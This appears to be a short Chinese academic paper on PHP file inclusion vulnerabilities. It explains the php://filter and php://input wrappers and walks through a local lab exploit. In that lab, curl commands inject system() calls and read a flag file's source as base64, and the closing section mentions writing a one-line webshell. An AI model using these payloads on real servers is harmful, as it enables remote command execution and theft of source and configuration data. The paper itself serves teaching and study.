魯先志 柏海龍 周均



摘 要:文件包含漏洞是PHP語言開發的web系統中普遍存在的一類漏洞,本文分析了文件包含漏洞的原理,設計一個實驗案例展示文件包含漏洞的利用過程。
關鍵詞:漏洞;PHP語言;web系統
PHP語言開發的WEB系統程序有著快速開發快速部署,系統開發實施周期短的優勢,但PHP語言開發的WEB系統也普遍存在一些典型的漏洞,如:跨站腳本漏洞、SQL注入漏洞、代碼執行漏洞、文件包含漏洞及PHP代碼注入漏洞等[1]。
1 文件包含基本概念
文件包含漏洞主要是基于PHP語言的web應用程序中發生的。程序員寫程序時將公用代碼寫在單獨的文件中,然后其他函數需要使用該代碼時直接包含調用[2]。嚴格來說,文件包含漏洞是“代碼注入”的一種。“代碼注入”這種攻擊,其原理就是注入一段用戶能控制的腳本或代碼,并讓服務器端執行。“代碼注入”的典型代碼就是文件包含,可以理解為“外部數據流包含”,至于這個外部數據流是什么,可以是文件,也可以是POST數據流的形式。
2 PHP的封裝協議(偽協議)
php漏洞利用中常用偽協議為以下兩種:
①php://filter--對本地磁盤文件進行讀寫,改協議經常用來讀取源代碼并進行base64編碼輸出,不然會直接源代碼會當做php代碼執行就看不到源代碼內容。
條件:allow_url_fopen :off/on? allow_url_include:off/on
用法:php://filter/convert.base64-encode/resource=a.php
//將a.php源代碼以base64編碼輸出
②php://input 可以訪問請求的原始數據的只讀流,將post請求中的數據作為PHP代碼執行。
條件:allow_url_fopen :off/on? ? allow_url_include:on
用法:http://127.0.0.1/cmd.php?file=php://input
[POST DATA] <?php phpinfo()?>//執行phpinfo函數
除了以上的協議以外,php支持的還有以下封裝協議(其中常用為data與ftp協議):file:// http:// ftp:// php:// zlib:// glob:// phar:// ssh2:// rar:// ogg:// expect://
3 php文件包含漏洞的實現
本實驗搭建了一個具有PHP文件包含漏洞的web系統,通過使用的工具是Linux系統下的curl命令,實現對目標服務器127.0.0.1:7521的滲透,并成功獲取到系統的敏感信息。
1.通過curl命令訪問目標網址:curl 127.0.0.1:7521
2.上圖顯示了目標系統的網頁源碼和兩項php配置
1.源代碼中有include函數,并且存在未過濾的可控參數path,此處存在有文件包含漏洞的風險。
2.系統中有兩項文件包含的相關配置,allow_url_fopen為off,allow_url_include為on,遠程文件包含需要allow_url_fopen為on,所以無法進行直接包含遠程文件,達到getshell
3.PHP配置項allow_url_include為on,所以可以通過相關偽協議達到文件讀取與命令執行的目的,data協議需要兩項都為on,此處使用php://filter和php://input達到目的。
4.通過命令執行讀取本地文件
通過可控的path參數,利用php://input,注入php的命令執行語句,來達到命令執行。(此處使用system函數),通過curl發送如下包
curl -d “<?php system(ls); ?>”/
http://127.0.0.1/index.php?path=php://input
5.查看返回的數據中,標簽后有我們執行后的結果。此處有三個文件,可以猜測出flag應該在f10g.php文件中。
6.訪問f10g.php? curl http://127.0.0.1:7521/f10g.php
7.通過php://filter讀取f10g.php源代碼
curl \
http://127.0.0.1:7521/index.php?path=php://filter/convert.base64-encode/resource=f10g.php
返回的數據中標簽后有base64編碼后的顯示有源代碼數據,可以通過base64解碼來查看源代碼
4 小結
本次的滲透測試案例展示了一個簡單的PHP文件上傳漏洞并利用該漏洞獲取到系統的敏感數據。我們在實際的滲透過程中可以通過多種方式來利用該漏洞,根據系統環境中PHP配置文件和服務器配置的不同來靈活利用該漏洞,比如可以利用php://input來寫入一句話木馬,也可以直接讀取關鍵配置文件,還可以通過php://input執行系統命令。
參考文獻
[1]劉鵬,張玉清常見安全漏洞攻防研究[J].信息網絡安全,2011(07)33-36.
[2]周開東等.遠程文件包含漏洞分級檢測工具研究[J].計算機應用與軟件,2014(02)21-23.
[3]趙潤梓.基于WEB滲透的自動化文件上傳漏洞檢測工具實現[J].網絡全,2020(03)27-28.